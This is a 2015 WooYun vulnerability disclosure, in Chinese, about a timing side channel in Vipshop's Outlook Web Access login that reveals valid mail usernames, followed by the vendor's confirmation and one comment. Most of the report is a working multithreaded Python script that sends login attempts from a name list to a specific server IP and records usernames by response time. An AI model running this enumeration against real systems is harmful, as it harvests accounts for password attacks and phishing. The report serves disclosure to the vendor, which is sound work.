当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098512

漏洞标题:唯品会官方邮箱用户名可有效穷举

相关厂商:唯品会

漏洞作者: 一天到晚吃

提交时间:2015-02-27 11:11

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-02-27: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向核心白帽子及相关领域专家公开
2015-03-19: 细节向普通白帽子公开
2015-03-29: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

邮箱用户名泄露

详细说明:

https://mx1.vipshop.com 邮件系统虽然用的是Outlook,但是目测可能改动了点代码?
如果用户名存在,点击登陆响应时间不超过2s,如果用户名不存在,点击登陆响应时间会很久,远超2s.
由这个特点,结合常用的姓氏拼音,可以遍历出所有的用户名.

# !/usr/bin/env python
# -*- coding:utf-8 -*-
import Queue
import threading
import time
import requests
import MySQLdb
import re
#x=open("test.db").readlines()
#print x
'''
configure option
'''
HOSTS_FILE="names"
SENSITIVE_FILE="names"
hosts=open(HOSTS_FILE).readlines()
files=open(SENSITIVE_FILE).readlines()
requests.adapters.DEFAULT_RETRIES = 3
headers={"Host":"121.32.130.126","User-Agent":"Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","Referer":"https://121.32.130.126/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=https%3a%2f%2f121.32.130.126%2fowa%2f","Content-Type":"application/x-www-form-urlencoded","Content-Length":"130"}
testx=0
x=Queue.Queue()
class WorkManager(object):
def __init__(self, work_num=1000,thread_num=2):
self.work_queue = Queue.Queue()
self.threads = []
self.__init_work_queue(work_num)
self.__init_thread_pool(thread_num)
def __init_thread_pool(self,thread_num):
for i in range(thread_num):
self.threads.append(Work(self.work_queue))
def __init_work_queue(self, jobs_num):
for i in range(jobs_num):
self.add_job(do_job, i)
def add_job(self, func, *args):
self.work_queue.put((func, list(args)))
def wait_allcomplete(self):
for item in self.threads:
if item.isAlive():item.join()
class Work(threading.Thread):
def __init__(self, work_queue):
threading.Thread.__init__(self)
self.work_queue = work_queue
self.start()
def run(self):
while True:
try:
do, args = self.work_queue.get(block=False)
do(args)
self.work_queue.task_done()
except Exception,e:
#DEBUG HERE
#print e
break
def do_job(args):
#time.sleep(0.1)
#print threading.current_thread(), list(args)
start=time.time()
payload="destination=https://121.32.130.126/owa/&flags=4&forcedownlevel=0&username="+files[args[0]].strip("\r").strip("\n")+"&password=a&passwordText=&isUtf8=1"
r=requests.post("https://121.32.130.126/owa/auth.owa",data=payload,verify=False,headers=headers,allow_redirects=False)
end=time.time()
if end-start<3:
print files[args[0]].strip("\r").strip("\n"),":",end-start
x.put((files[args[0]].strip("\r").strip("\n"),end-start,r.status_code,r.text))
if __name__ == '__main__':
start = time.time()
work_manager = WorkManager(len(hosts), 100)
work_manager.wait_allcomplete()
end = time.time()
print "cost all time: %s" % (end-start)
f=open("vip.mail.names",'a+')
while x.empty()==False:
f.write(str(x.get())+"\n")

漏洞证明:

1.png

修复方案:

看厂商的了

版权声明:转载请注明来源 一天到晚吃@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-02-27 13:05

厂商回复:

我们会持续跟进,感谢您对唯品会信息安全的支持!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-19 23:20 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:64 | PKAV技术宅社区!Blog:http://www.xlixli....)

    这也行- -看来time爆破也是一个点啊